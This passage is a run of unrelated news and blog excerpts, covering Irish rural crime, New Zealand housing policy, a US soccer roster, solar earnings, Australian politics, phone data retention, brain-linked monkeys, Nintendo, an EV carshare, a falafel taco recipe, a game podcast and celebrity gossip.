were shown to have fallen. Similarly, political talk about soaring crime rates and an upsurge in violent rural burglaries proved to be unfounded. Research by the Waterford Institute of Technology showed that violent crime was not a “significant feature” and that most offences involved vandalism and the theft of machinery, livestock and agricultural diesel.  The notion of city criminals using motorways and high-speed vehicles to target the occupants of isolated farmhouses has grabbed the public’s attention on both sides of the Border because of extensive thefts of machinery and livestock. It has led to demands for the installation of CCTV cameras on motorways to automatically record vehicle plate numbers and for the electronic tagging of repeat offenders. A Government pledge to make €1 million available for community CCTV schemes here is at present being examined on grounds of legality by the Data Protection Commissioner.  A fall in the number of gardaí and changes in society have contributed to greater anxiety in rural areas and amongst older people. But exaggerated claims concerning their vulnerability and crime rates causes further damage. The statistical reality is that, in spite of recent dreadful events, the incidence of burglaries has fallen dramatically. There is certainly room for more efficient, effective police work. But a climate of fear is in nobody’s interests.
-By Alex Tarrant  They’ve been dubbed KiwiBuild and KiwiBuild-lite.  But even that description of the difference between Labour's and National’s state-led private house building plans might imply the gap is too wide.  Particularly when it comes to Auckland.  New Zealand’s two main parties are each promising to build tens of thousands of houses on Crown land in Auckland to sell into the private 'affordable' market over the next decade.  Both will use the threat of government building as leverage to try and force private land bankers to get a move on with residential development.  And both are proposing at least some level of central government funding for Auckland housing infrastructure, be it roads, water or sewerage.  So what difference is there to vote for? It’s all looking pretty purple when it comes to government-led Auckland private housing supply efforts.  National set to announce big Auckland housing plan  Prime Minister Bill English in February welcomed approval of Auckland’s Unitary Plan. He said it would allow for an increase in the amount of housing on Crown land in the city from 27,000 to 69,000 over the next decade.  He even outlined that extra building should be expected in Avondale, Mt Roskill and South Auckland alongside existing projects in Hobsonville, Northcote and Tamaki.  Further details have been short on the ground. But National is gearing up for a big Auckland housing announcement in the next month or so – potentially ahead of the 25 May Budget. We’ll get a better idea of where these houses will be, when they’ll be there, and how you’ll be able to get to them.  It is an election year. A lot will be said of policy differences between Left and Right on issues such as immigration, tax settings and expected interest rate tracks (on Interest.co.nz at least). Let’s park demand to one side – perhaps until we get Labour’s immigration policy – and focus on supply.  A brief overview:  Labour is promising to build half of its 100,000 house KiwiBuild target in Auckland over the next ten years.  National is promising to increase the numbers of houses on Crown land in Auckland from 27,000 to 69,000, or “slightly more” than that, over the next ten years.  Labour says KiwiBuild is a ‘counter-cyclical’ policy. Government will fill gaps left by the private sector. Another way to interpret that is the policy can be used as leverage: the threat of mass-building on Crown land as an incentive to get private land owners moving ahead of the government.  National says competitive land markets are the key to addressing Auckland’s housing problem and that government is a Very Large Auckland Landowner. As leverage, they will use the threat of mass-building on Crown land as an incentive to get private land owners moving ahead of the government.  If you don’t, we will  The Crown has owned its land for a long time. Valuation movements (think potential falls) won’t matter as much to the government as they might to private land bankers. The message from both National and Labour is: if you don’t develop your land, we’ll develop ours, and the value of yours will fall.  One response from land owners has been that they would develop but need to be able to connect to the Auckland Council infrastructure grid.  Both National and Labour have recognised a need for government intervention to help the Auckland Council sort this out.  Labour is proposing Treasury’s Debt Management Office borrows funds at the central government level to pay for infrastructure such as new/improved transport links and three-waters. This will allow for development of greenfields land and more densification.  Targeted rates will allow for the borrowing to be repaid over the lifetime of the asset. Having the debt sit at central government level will mean the Auckland Council’s balance sheet won’t be overburdened.  National is offering funding to councils with its $1bn Housing Infrastructure Fund (HIF). We’re still yet to hear which council plans will be blessed with the funding, but think of projects like the Penlink road in Auckland, or a couple of new bridges over to vacant land in Hamilton.  This will allow for development of greenfields land and more densification. Projects could be developed and refunded within Special Purpose Vehicles, so the Auckland Council’s balance sheet won’t be overburdened.  Now, $1bn isn’t going to be enough. We will be seeing extra policy from National on this front. A starting point will be gentle pressure on making sure the Auckland Council has its priorities straight.  But if the HIF projects go to plan – let’s say Penlink is funded and helps the future residential areas north of Auckland be developed quicker than expected – then these things will be all the rage. Targeted rates, anyone?  Where's the difference? Funding those houses  It all sounds very similar. More so, at least, than the traditional ‘let the market sort itself out’ versus ‘government intervention is required’.  This isn’t necessarily bad. But for those worried that we’re going to have an ideology-free, centrist general election when it comes to the supply of private Auckland housing spurred on by the government, do not despair.  One difference that might just emerge regards how a National or Labour-led government will fund the tens of thousands of homes each is aiming to build.  Labour’s KiwiBuild is set to get an initial $2bn government injection. This is expected to be recycled as houses are sold, and returned to the Crown when KiwiBuild is complete.  National is leaning more towards requiring and allowing Housing New Zealand to seek its own funding. Private sector funding for the building of houses on Crown land that will then be sold to the private sector.  The mantra is that borrowing at the government’s risk-free rate should not be used to fund riskier asset classes such as property.  There has been plenty of debate at the top of government about this – including a look at whether there should at least be some central government funding kick-start for National’s grand ambitions for Housing NZ.  But that could be the difference. We’ll know soon enough.
-WNT  CHICAGO (February 8, 2017) – U.S. Women’s National Team head coach Jill Ellis has named 25 players to a training camp roster prior to the 2017 SheBelieves Cup that will feature the USA, Germany, France and England playing in three doubleheader events at three different venues over a seven-day period in what promises to be highly competitive and entertaining matches.  “January gave us a chance to see some new faces in with the veterans, and get some quality time on the training field,” Ellis said. “A player’s performance in that camp and positional depth guided our selection for this pre-camp, and from here we will select our SheBelieves Cup roster. There will be no better test than opening against Germany, so we will need to have a laser focus as soon as we land in Orlando. As our players have not yet returned to their clubs, they have been training in their independent environments, so playing as much 11v11 situations will again be critical during these few days,” Ellis added.  U.S. Women’s National Team Roster by Position:  GOALKEEPERS (3): Jane Campbell (Houston Dash), Ashlyn Harris (Orlando Pride), Alyssa Naeher (Chicago Red Stars)  DEFENDERS (7): Julie Johnston (Chicago Red Stars), Meghan Klingenberg (Portland Thorns FC), Ali Krieger (Orlando Pride), Kelley O’Hara (Sky Blue FC), Becky Sauerbrunn (FC Kansas City), Casey Short (Chicago Red Stars), Emily Sonnett (Portland Thorns FC)  MIDFIELDERS (9): Morgan Brian (Houston Dash), Tobin Heath (Portland Thorns FC), Lindsey Horan (Portland Thorns FC), Sarah Killion (Sky Blue FC), Rose Lavelle (Boston Breakers), Carli Lloyd (Houston Dash), Allie Long (Portland Thorns FC), Samantha Mewis (NC Courage), Brianna Pinto (CASL)  FORWARDS (6): Crystal Dunn (Chelsea Ladies FC), Alex Morgan (Olympique Lyonnais), Christen Press (Chicago Red Stars), Mallory Pugh (UCLA), Amy Rodriguez (FC Kansas City), Lynn Williams (NC Courage)  Breaking Down the SheBelieves Cup Schedule  The U.S. team will convene in Orlando, Florida on Feb. 20 for a week of training before heading to Philadelphia to kick off the 2nd annual edition of the tournament on Wednesday, March 1 at Talen Energy Stadium. England will open against France in Chester, Pa. (4 p.m. ET) followed by the USA against Germany (7 p.m. ET on FS1).  All the teams will then travel to New Jersey where France will face Germany on Saturday, March 4 (2:15 p.m. ET) followed by the USA taking on England (5 p.m. ET on FOX) at Red Bull Arena in Harrison. The tournament will finish on Tuesday, March 7, at the historic RFK Stadium in Washington, D.C. as Germany takes on England (4 p.m. ET) and the USA faces France (7 p.m. ET on FS1).  SheBelieves Cup Tickets  Tickets for all three doubleheaders are on sale through ussoccer.com. Tickets can also be purchased by phone at 1-800-298-4200 for the event in Pennsylvania and 1-800-745-3000 for the matchups in New Jersey and Washington. Ticket office hours at Talen Energy Stadium are Monday-Friday, 9 a.m. to 5 p.m., while the Red Bull Arena ticket office is open Monday-Friday, 10 a.m. to 5 p.m. [Note: Tickets are not sold at RFK Stadium except on the day of the event.] Groups of 20 or more can be ordered at ussoccer.com.  #SheBelievesHero Contest  The U.S. Women’s National Team announced the launch of the SheBelieves Hero contest ahead of the 2017 SheBelieves Cup. The contest, which runs from Feb. 7-10, aims to find a girl between the ages of 13-17 who embodies the SheBelieves spirit.  Conceived and developed by the U.S. Women’s National Team players, SheBelieves is a movement to inspire young girls and women and encourage them to accomplish their goals and dreams, athletic or otherwise. The campaign was originally launched in the run-up to the 2015 FIFA Women’s World Cup but has since evolved and grown into a special bond between the team and its fans, taking its powerful message of empowerment and that of believing in yourself into communities across the nation.  Additional Notes:
-SunPower hit a home run with its latest earnings report, announcing record-setting revenue of $937.1 million in the fourth quarter of 2010, a 69 percent rise from the $550.6 million it did in the third quarter and an even bigger jump – 71 percent – from the $547.9 million it did in the fourth quarter of 2009.  For the full year, revenue climbed to $2.22 billion from $1.52 billion, and net income shot up to $178.7 million from $32.5 million in 2009.  In announcing the impressive earnings, the San Jose-based company also ratcheted up guidance for 2011, saying it anticipates revenues of $2.8 billion. “Given our strong 2010 performance, robust downstream demand and strong visibility, we are confident in our ability to deliver on our improved 2011 plan,” said Tom Werner, SunPower CEO. The company noted that it had achieved a record North American commercial backlog, with 2011 already 90 percent booked.  SunPower has a significant residential arm, but increasingly is seen doing large-scale solar power projects, such as the 20-megawatt (MW) Copper Crossing plant in Arizona, and California’s biggest school installation ever, an 11.2-MW deal with the Mount Diablo Unified Schools.
-Time is running out for Kevin Rudd to reclaim the prime ministership. Credit:Alex Ellinghausen As this scene fades to the next tale of suburban frustration and family disappointment, a female voice-over is heard: "More and more, the demands of business are eating away at the basic rights unions have won for all of us." But where the earlier ACTU campaign was aimed squarely at the Howard government, this ad has no partisan target. Tony Abbott and the Liberals are not mentioned. Nor does it advocate for the Gillard government, also unmentioned. Instead, the punchline is: "Australian unions. Join. For a better life." This does not seem to be about the short-term power struggle of the federal election but the longer run of union membership. The secretary of the ACTU, Dave Oliver, confirms that we're not missing anything: "When I was elected at congress it was on a mandate of making the ACTU an independent, high-profile campaigning organisation," he says.  Illustration: Rocco Fazzari "Unfortunately, these aren't made-up scenarios. It's holding a mirror up to what's going on in workplaces. It's about the basic power imbalance in the workplace, and a very clear call to join a union." But they're obviously timed for the September 14 election, no? Yes and no, says Oliver. "These ads will run for at least two months and, budget permitting, we hope to continue running them regardless of who wins the election." In other words, the ads are not about the interests of the Labor Party in the short run so much as the interests of the labour movement in the longer run. The ACTU is looking to transcend the election. The ACTU's Your Rights at Work Campaign was central to the Labor push to win power in 2007. This time, however, the ads are deliberately aloof from the immediate fight.  Rudd was reminding the Labor caucus that he is still available. Has even the union movement given up on Julia Gillard? It certainly seems so. The ads don't explicitly endorse her - and nor does the implicit message. If these workplace injustices are already occurring, the Rudd-Gillard government must be to blame, surely? It's been in power for six years. Oliver resists this conclusion: "It hasn't happened overnight. It's over the last few decades. Our concern is what a Tony Abbott government would look like, especially around penalty rates, casualisation, loadings and rosters. Individual flexibility is used to undermine collective agreements." If that's the ACTU's concern, why not hit it directly? Oliver reserves the right to run ads that try to influence the election but says the ACTU has "not yet decided". Abbott's opposition deliberately made itself a small target for the ACTU. In fact, the Coalition's workplace policy was written to present the least threatening face possible. While it will attack the unions, it carefully leaves in place all the existing worker protections.  This is immensely frustrating to business and has drawn howls from Peter Reith - but Abbott is taking no chances. He has said he will call for a Productivity Commission inquiry and, if he intends any changes to workplace laws, to take them to the following election to give the people a say. This week two Gillard government MPs packed up their offices. Two others openly ridiculed the Prime Minister's office and its "messaging" efforts. Labor headquarters is proceeding to the election on the assumption that the party will win 32 per cent of the primary vote, implicitly conceding a loss of 6 percentage points since the 2010 election. And Labor didn't exactly win that one. Party veterans from former leader Simon Crean to former pollster Rod Cameron publicly predict electoral disaster. So why wouldn't the unions give up on the Gillard government? They have a duty to their members to husband scarce resources prudently. If the ACTU is letting go of the Gillard government, the Gillard government isn't letting go of the ACTU. This week it was busy in the Parliament delivering some of the key agenda items for the unions. Even unto its last breath. And who better to deliver for the unions than Bill Shorten, a former union boss.  On Thursday night Shorten took to the House the Fair Work Amendment Bill to allow union delegates greater rights of access to workplaces. It allows unions into the lunchrooms of businesses, even ones that have no union members. It passed the House and next goes to the Senate, where it will be enshrined into law before the election. The least ideological of the big business lobby organisations, the Australian Industry Group, said through its chief executive, Innes Willox: "With only 100 days to go until the federal election, major changes to workplace relations laws which will have negative effects on competitiveness and jobs should not be entertained." At the same time, the government moved to tighten the rules on 457 visas that cover temporary foreign workers. Although the Labor government had presided quite contentedly over the system for the past six years, it claimed to have discovered rampant scamming and rushed through an urgent review. As the government prepared its members in a confidential note this week, this measure is strongly supported by the unions and strongly opposed by business. The two MPs who have packed up their offices are Daryl Melham and Alan Griffin. They are plainly resigned to losing, though both insist they haven't given up. And while Melham is in the marginal south-western Sydney seat of Banks, which includes Hurstville and part of Bankstown, hanging on by an eminently losable 1.5 per cent, Griffin is another story.  Griffin's seat of Bruce in Victoria has a margin of 7.7 per cent. In the olden days - pre-2010 - that was considered safe. If there were a uniform swing that big, it would take 33 more marginal Labor MPs before it got to him. Not only that, Griffin is one of the most loyal of the Kevin Rudd fan club. So by signalling despair, he is not only implicitly giving up on Gillard, he's giving up on a Rudd return too. Yet Rudd was on the ABC's program 7.30 on Thursday night urging MPs not to run up the white flag. Rudd was reminding the Labor caucus that he is still available if they should want to draft him into the leadership. It's getting desperate for Rudd. There are only two more parliamentary sitting weeks before the election, only two more caucus meetings, a vanishingly small opportunity for him to return to the prime ministership. Is anything happening behind the scenes? No. "If there is anything," says a former Rudd lieutenant who, like almost all of them, have given up on him, "it would have to come from Gillard's side - Rudd doesn't have the numbers."  One of the reasons Gillard is safe is that the big right-affiliated unions have fought staunchly to keep her in place. When Crean pressed Gillard to call a leadership spill and it seemed Rudd might challenge, two of the key union bosses lobbied their affiliated MPs to stick with Gillard. She has delivered for us, and we have to be loyal to her, was the message from the Australian Workers' Union's Paul Howes and the Transport Workers Union's Tony Sheldon. She continues to deliver for the unions, even if they're giving up on her, and that's why Rudd's case is close to being terminal. Would Gillard consider stepping aside for the good of the party? In the last tableau in the new ACTU ad, a grown son asks his put-upon father to demand better treatment from the boss. ''Why don't you say something?'' he urges his dad. "Have you met my boss?" rejoins the father. Some bosses are immovable. Gillard is one of them. Peter Hartcher is the political editor.
-The Coalition government's proposals to extend surveillance powers would vastly expand the amount of data that communications companies must keep on record.  Phone companies are already required to hold information for up to twelve months; in the future this information - as well as similar information collected form email and social networking sites - could be accessed in real time, and without a warrant.  I accessed my own data from my mobile phone company Vodafone, using data protection laws, to demonstrate what information is already stored and how this data already creates a revealing profile of the individual.  Use the graphic above to browse the location data logged by Vodafone every time my phone made a connection with the phone masts - when I made a call, received or sent a text message, or checked my emails.  Further data - recording what I was using the phone for in each instance, and the numbers I dialled - was also released.  Together this data creates a very effective profile of my life: who I called, where I worked, where I lived and what I got up to.  My phone calls, messages and internet browsing has been recorded to the second. My location to within a few hundred metres.  Browsing the data for only a few minutes is enough to acquaint you with my daily routine.  Most mornings show my phone 'clocking in' with the mast nearest to my home in south London before I leave the house. This phone mast is perhaps 300m from my front door.  On weekdays, the next activity tends to be linked to a Vodafone mast labelled '3 Thomas Moore Street, E1' - a mast apparently attached to or neighbouring the News International offices, where I worked as a reporter for The Sunday Times all of last year.  (A very close reading of my records actually reveals a trip to the Telegraph offices for an interview.)  Unless I'm out of the office on a story, my signal tended to hover around Wapping until evening, when I might meet some friends - maybe at the Truman Brewery on Brick Lane, where I was recorded several times - before travelling back to Brixton and bed.  But it's not all work and no play.  On July 3, I am in Hyde Park for the entire day. Quickly googling "July 3 2011" and "Hyde Park" provides a bit of insight: it was the last day of Wireless festival.  My Twitter feed confirms it:  Twitter: Cal Flyn - Crosslegged in the mud at very front. Been here for 2 hours plus, Jarvis this is dedication #doyourememberthefirsttime @pulp2011 #wireless  I make several trips to the north of Scotland to see my parents. Indeed, can watch me travel north on the train, through York, Newcastle, Berwick-upon-Tweed, Edinburgh, Kingussie, and Inverness.  On the afternoon of 20 December I am at Gatwick airport (North terminal). I must have caught the 17:50 flight to Inverness, because by the next day I am in the Highlands again (a quick check of my emails confirm this was the case).  And even from my relatively remote family home - half an hour's drive from the nearest town - my activity is being carefully and closely recorded. The Vodafone mast I clock in with is within a few hundred metres from my rural house - easily within eyeshot.  On one occasion, I spend two days there before the signal goes dead - "No Cell Info Available" on the 24th or 25th of May, 2011.  This two day period is the longest period during the entire year when my location goes unlogged. An email explains why I have gone off radar: "In the Highlands," I tell a friend on the 24th. "But my phone charger is in London. It'll be dead until I get back tomorrow night."  And right enough, there I am - appearing suddenly back in London late on 25 May.  Every row of data adds another pixel to this portrait of my life.  The records display my daily routine down to the minute, my regular haunts, the location of my childhood home, even my taste in music.  All of this activity is from when I have actively used my phone.  If you have set your phone to automatically check for new emails - which I don't - you are leaving a trail of digital breadcrumbs only minutes apart.  I am not suspected of any crime. I have no criminal record. I don't even have points on my driving license. There is no clear motive or explanation why my phone company - like yours - is required under law to record the minutiae of my life, and store it for a year.  And under the Coalition's proposals, these rules would be rolled out to all email services, social networks, internet providers and even game companies, who would be required to offer access on demand and in real time and without a warrant.  The proposals would allow officials or police to see not only when I was in Hyde Park, but when I went online to book the tickets, and who I emailed immediately after to let them know I had done so.  And where there is such a wealth of information, there is an element of risk that it will not be used correctly.  Emma Draper of Privacy International said: "Information, once collected and stored, will always be vulnerable to exposure by human error or corruption. The only answer to this problem is to collect only the bare minimum of information, and to delete or destroy information the moment it becomes superfluous to requirements."  Already there are claims that UK phone data has been accessed illegally.  During the Leveson inquiry, Simon Hughes MP claimed that reporters from The Sun gained access to phone records showing him to have used gay phonelines.  I know that I have not been living a secret second life, nor masterminding any criminal activity. I don't have a lot to hide from the government.  But that doesn't mean that I am happy for my life to be written up and ready to read.  NB. Note on safety: My routine has significantly changed since January 2012.
-Neuroscientists have successfully linked three monkeys’ brains using implanted electrodes and coaxed them to cooperatively control a robotic arm. Oh, and they also performed a similar experiment that directly linked the brains of four rats to test their capacity for synchronicity. (I, for one, welcome our new hive-minded, mammalian overlords.) That monkeys can coordinate using nothing but brain-waves isn’t particularly new. This new work builds on earlier experiments that linked animals’ brains, both one at a time and in tandem, to prosthetic limbs, but it is far more sophisticated. No one has ever yoked more than two brains in such a way to accomplish a task. What’s more, the trio of mind-melded monkeys frequently did a better job at controlling the robotic arm than one monkey working alone.  Miguel Nicolelis, director of the Center for Neuroengineering at Duke University and principle investigator for the study, calls the merged minds “brainets.” Nicolelis and his colleagues started with four electrode-implanted rats, linking them both in parallel and in series, to test whether brains could coordinate signals. For the parallel experiment, they sent two types of signals to the four linked rats. When one signal was sent, the rats were rewarded for synchronizing. When they received the other, they were rewarded for not coordinating their brain waves. Quickly, they were able to react appropriately a majority of the time. Then the neuroscientists linked the rats in series, training the first rat on the signals. Once that rat had properly learned them, they hooked up a second to learn from the first, and so on up to four. Again, the rats quickly passed the test. Then came the monkeys. First, the team tested two monkeys each linked to a computer. The computer then translated their signals to control a robotic arm. The monkeys were rewarded when they successfully moved a ball. In a second experiment, they had each monkey specialize in a different freedom of movement—one vertical, the other horizontal. In a final test, they hooked up three monkeys to the computer that controlled the arm and let them loose.  Support Provided By Learn More  Needless to say, other scientists are impressed. Here’s Jessica Hamzelou, reporting for New Scientist:  “This is incredible,” says Andrea Stocco at the University of Washington in Seattle, who was not involved in the project. “We are sampling different neurons from different animals and putting them together to create a superorganism.”  Neuroscientists are still many, many years away from linking human brains, but the research points to some tantalizing possibilities. First, such research requires sophisticated brain-computer interfaces, which, once perfected, could allow people to deftly control advanced prosthetic limbs. Further in the future, it could also allow a group to coordinate on a difficult task without using language and its inherent barriers. By that point, we may not even need implanted electrodes to tap into a massive brainet—we may only have to slip on a simple headset to contribute our mind’s computing power.  Recieve emails about upcoming NOVA programs and related content, as well as featured reporting about current events through a science lens. Email Address Zip Code Subscribe
-Share. A new report out of Japan outlines what Nintendo's approach to mobile could be. A new report out of Japan outlines what Nintendo's approach to mobile could be.  For years, there have been calls for Nintendo to bring its games to smartphones -- calls which have only intensified in light of its recent adjustments to sales projections for both Wii U and 3DS. According to a new report, Nintendo will soon announce plans to leverage mobile devices, but not in the manner some believe it should.  According to a Japanese consulting firm, Japanese publication Nikkei reports Nintendo will release videos and playable mini-games on mobile devices intended to promote its games. In other words, it would release content meant to encourage people to buy Nintendo hardware, which will remain the only place to play the full versions of its software. These mobile releases wouldn't be full or free-to-play games; they would simply be limited demos released free of charge. (Nintendo subsidiary The Pokemon Company already has an iOS app -- the official Pokédex app -- available for download).  Exit Theatre Mode  The plans for this initiative could be announced as soon as this week's quarterly financial briefing, which is scheduled for this Wednesday.  The company has already stated more than once that it doesn't believe the proliferation of smartphones and tablets means there is no longer a market for console and handheld games. Just recently, CEO Satoru Iwata said this "doesn't mean that we should put Mario on smartphones." That statement doesn't preclude the possibility of using mobile devices in some way, but this new report hardly satisfies the many questions it raises. For instance, it's unclear just how Nintendo would create demo versions of its games on platforms lacking physical buttons or the second screens that distinguish 3DS and Wii U from other platforms.  Earlier this month, Nintendo slashed its forecast for the current fiscal year, which runs through March 31, 2014. The 3DS is now expected to sell 13.5 million units (down from the previous projection of 18 million), and the Wii U is expected to sell only 2.8 million units (down from a projection of 9 million). This announcement resulted in a hit to Nintendo's stock price. Iwata, who has been CEO since 2002, has stated he will not resign.  Stay tuned to IGN this week for the latest news regarding Nintendo's plans for the future.  Chris Pereira is a freelance writer who spends his spare time agonizing over the final seasons of The X-Files. Check out what he's saying on Twitter and follow him on IGN.
-We've expressed our passions for the sharing economy at length in the past, and now we're undertaking another radical experiment in bringing it to life at Element Urban Village. (Phase II currently under construction—presales available.)  Are you ready? Here it is, summarized in the four cleanest, greenest words ever written: SOLAR POWERED ELECTRIC CARSHARE.  (Plus, there's another wild idea we've got brewing that we haven't talked about yet... Read on for more on that.)  The Element project provides the perfect petrie dish for a solar-powered experiment in sustainability and carsharing. Its ideal location allows people the opportunity to live an urban lifestyle with very minimal dependence on a vehicle. Walking and biking are a natural choice—a second (or even first) car is rarely needed. However, an existing carshare program in Riversdale for us to integrate with was lacking, so instead of waiting for it to happen (it's inevitable), we decided to make it happen ourselves.  Speaking of inevitable, electric vehicles are without a doubt part of all of our futures. There is immense potential for EV uptake in Saskatoon, and we saw this as a great opportunity for us to kill two birds with one sustainable stone. We're offering a group of people the chance to experience the benefits of EVs firsthand without the burden of buying one themselves. Join the Village, ditch your second car, and feel good about being part of the solution.  Here's the rundown. Shift has recently acquired an electric BMW i3 as the new company car. Its current home, our parking stall behind The Two Twenty, is equipped with a high-speed electric vehicle (EV) charging station courtesy of Sun Country Highway. Our aim is to test out the shared electric car idea internally at the company before bestowing the car and the concept onto the Element Urban Village condo board in 2018.  This ain't your grandma's Prius, either. There's a reason we chose the i3. It's not a great car despite being electric—it's a great car because it's electric. It's the BMW of electric vehicles.  Not only is it a zippy, responsive, solid pleasure to drive, but the build quality is remarkably green as well. BMW's own estimate is that up to 95% of the car is constructed from recyclable materials. From carbon fibre to bamboo to recycled interior finishes, this surprising little vehicle is likely among the most environmentally responsible in history.  We're absolutely stoked about this car. And we can't wait to show you why. Wanna go for a ride? Call us up. It's got to be experienced to be believed.  Here are the numbers for you stats nerds out there:  Model: 2015 BMW i3, white  Range: 125 km  Recharge: 1 hr 45 min to full  0-100km/h: 7.3 seconds  Charger: 60A Level 2 charger  When the car is moved to Element, its new permanent home will be a common parking stall just off the shared courtyard, equipped with the same high-speed EV charging station. Its energy—12,000 km/yr of it, to be exact—will come from a 2 kW peak power solar panel system from Roots Rock Solar installed on the roof of the Phase II Courtyard building.  The car will be available for sharing among all Element owners through a digital scheduling/calendar system. Terms and conditions of the car share program will be included in the condo bylaws. We're structuring it as a 3-year experiment, with an estimated cost to owners of $11 per month. No per-mile costs of any kind. That's the benefit of electric.  This brings us to the next major announcement we'd like to make:  Shift is exploring the possibility of developing an electric carshare program based out of Riversdale, Saskatoon and shared between key local businesses and organizations, such as The Two Twenty. We envision a small fleet of electric cars under a single carshare banner but available to the public and members of Riversdale-based organizations. The Element Urban Village carshare program we've got underway will be the seed from which this exciting larger project will grow.  If you would be interested in taking part in or making use of an electric carshare program based out of Riversdale, please sign up using the form below. We're working on this behind the scenes and we'll be in touch.
-So, I heard of this thing called “Taco Tuesday.”  Apparently, some people designate one day a week, Tuesdays, for eating tacos. How genius is that? I can’t necessarily make those kinds of rules in my life because if a taco craving comes on, I need to be able to have them immediately, regardless of the day is Tuesday or not. I really, really, really like this concept, though, and I am going to designate today as Taco Tuesday.  The Chickpea really digs this concept too. We brainstormed for about 6 minutes hours for ways to put chickpeas in a taco, something I’ve done and loved in the past. We came up with a lot of great ideas but finally settled on one idea: Falafel Tacos. I have never been more excited for any other Tuesday in history.  Falafel wraps and/or sandwiches are one of those things I love with a passion but don’t eat nearly enough. I usually order them at restaurants but about six years have passed since I last made falafel at home. Once I made the little falafel ball/patties for these tacos, I had no idea why I hadn’t been doing this the whole time. Like, every Friday. For Falafel Friday (do I smell a new trend?). Because they’re baked, they’re extremely easy and healthy, and because they can’t help themselves, they are unbelievably delicious.  Putting the falafel ball/patties in taco shells and drizzling them with a Sriracha Tahini Sauce might be the best idea I’ve had since The Philly Reuben (I guess I’m a sucker for fusion). The Sriracha Tahini Sauce has the heat of a normal hot sauce that one would add to their tacos, but the tangy creaminess of a tahini sauce one would drizzle on their falafel. The falafel have a crisp outer coating but are soft and chewy on the inside, a perfect filler for crisp taco shells. The combination of flavors and textures in these falafel tacos is pretty spectacular.  These Falafel Tacos are a perfect choice for your Taco Tuesday or your Falafel Friday. Or your I-Like-To-Eat-Amazing-Vegan-Food-On-Days-That-End-In-“Y” Days. Your choice.  Print Falafel Tacos with Sriracha Tahini Sauce Yield: 6 tacos Ingredients for the falafel 1 ½ cups cooked chickpeas or 1 15oz can of chickpeas, rinsed and drained  ½ cup loosely packed fresh cilantro (or mixture of fresh parsley and cilantro)  ¼ red onion, chopped  2-3 cloves garlic  juice from ½ a lemon  1 ½ teaspoons dried dill  1 ½ teaspoons dried oregano  1 teaspoon smoked paprika  1 teaspoon cumin  several dashes of black pepper  salt to taste (I used about 3/4 tsp)  3 tablespoon chickpea flour  1 teaspoon nutritional yeast (optional, but adds a little extra oomph)  for the tacos 6 taco shells  1-2 cups lettuce  tomato slices  other taco fillings  for the sriracha tahini sauce ¼ cup tahini sauce  ¼ cup water  1-2 tablespoon Sriracha  juice from 1 lemon  1 clove garlic, minced  1 teaspoon dried dill Instructions for the sriracha tahini sauce Combine all ingredients in a food processor or if using an immersion blender, a small bowl. Blend the ingredients until smooth. Chill until ready to use. for the tacos Preheat the oven to 350. Line a baking sheet with parchment paper. Set aside. Combine all falafel ingredients (chickpeas through nutritional yeast) in a food processor and process until you have a mostly smooth ball of “dough.” Use a tablespoon to scoop the dough and use your hands to roll the scoop into a ball. Flatten it slightly and place on the prepared baking sheet. Repeat until there is no more dough left. You should have about 18-20 falafel Bake in the oven for about 20 minutes, flipping halfway through to ensure even cooking. Remove from oven. Stuff a little lettuce in each taco shell, then stuff about 3 patties into each taco shell. Top with tomato slices and any other taco fillings you would like to use (cucumber, avocado, bell pepper, etc.). Drizzle the taco with the Sriracha Tahini Sauce (recipe below) and serve warm. Enjoy! 3.1  First time here? Check out the rest of my Chickpea Love Affair Vegan MoFo Entries!  Keepin’ It Kind is participating in the Walk for Farm Animals to give hope to millions of abused and neglected farm animals! Please support me by making a Donation today. Together we can make the world a more compassionate place for animals! Learn more about Why I am Walking for Farm Animals and join our team!  Photography by Chris Miller
-Game Update 2.10: Forged Alliances is here, concluding the story arc that will lead us to the end-of-year expansion. In our discussion, we talk about some misconceptions that (hopefully very few) players have about SWTOR’s game mechanics.  1. Introduction  The guide authored by Teo is his GSH unlock comparison for building your Conquest bonus.  2. Tip of the week  Congratulations to this week’s winner, Cabsav of The Harbinger! Thanks to Brian of the Bad Feeling Podcast, Christopher, GasGuy and Caligari for entering.  Please send your tips to ootinicast@gmail.com by next Wednesday for a chance to win an M8-R3 code, courtesy of BioWare, and an OotiniCast-provided Cartel Market pack from the latest shipment.  3. Holofeed  4. Community  Thanks to Spencer, Scotthomas and Grim for their donations!  Details about our Ootini Holdings lottery can be found here.  5. Force Feedback  It seems that @DurtaDurta has found us on the airwaves:  Chong sent us this screenshot of the game announcing an obvious truism:  6. Sarlacc Digest  We discuss some (hopefully uncommon) player misconceptions about game mechanics, based upon this thread from the SWTOR sub-Reddit.  7. Outro  Thanks to Spencer (@Da_Dirty_Spoons) and Redna (@R3DN4, twitch.tv/r3dn4) for joining us this week.  Information about our guilds on The Harbinger, Ootini Knights (Republic) and Ootini Rage (Empire), can be found here.  You can email questions and comments about the show to ootinicast@gmail.com. Follow us on Twitter via @OotiniCast. Check out our website, ootinicast.com, which has links to our presence on Google+ and Facebook. You can subscribe to us on iTunes, and listen to us on Stitcher and Spreaker. We record the show live every Wednesday at 4:30pm Pacific, goto ootinicast.com/live to find out how to join in!
-Looks like North West really DOES take after her famously ill-tempered dad Kanye West! Lashing out at paps in a hilarious episode outside LA’s Museum of Ice Cream, the 3-year-old repeatedly yelled, ‘No pictures’ at cameras, and she did NOT look happy. Eeek, like father, like daughter!  The selfie queen’s daughter apparently doesn’t like to have her picture taken! While leaving the Museum of Ice Cream in Los Angeles on May 11, Kim Kardashian, 36, and Kanye West‘s, 39, daughter North West, 3, proved she’s not into the family business as she screamed at photographers to stop taking photos! But although slightly startling — and also slightly hilarious — we def need to remember that this little girl is only three years old! “No pictures,” Nori yelled multiple times at the pack of paparazzi flocking around her mom’s car. Of course the shutterbugs continued to snap away anyways! CLICK HERE TO WATCH NORTH SCREAM AT PHOTOGRAPHERS.  “Come on Boo Boo, no more pictures, Ok,” Kim says to her daughter as she shuffles her into the van. “We’re going to get you into the car.” At least Kim’s a good sport about it all! Kim and North left the popular attraction with family members Kourtney Kardashian, 38, Mason Disick, 7, and Penelope Disick, 4. And while outside, Nori didn’t seem to be in the best mood, INSIDE the museum was apparently a different story! After all, Kim made sure to snap while exploring all the museum had to offer, and in one pic she’s sweetly posing next to a pink wall with her daughter in her arms — aw!  But while Kim may love the spotlight, North’s not the only one in the fam who DOESN’T. In fact, even the reality star admitted that her eldest takes after her husband. “She’s really, really smart, actually. She knows how to outsmart us, or thinks she does,” Kim explained to Ellen DeGeneres just last month. “She is Kanye’s twin. Same personality, says the same wild things. She’ll just sit looking at me right here, and be like, ‘Mommy, I don’t like 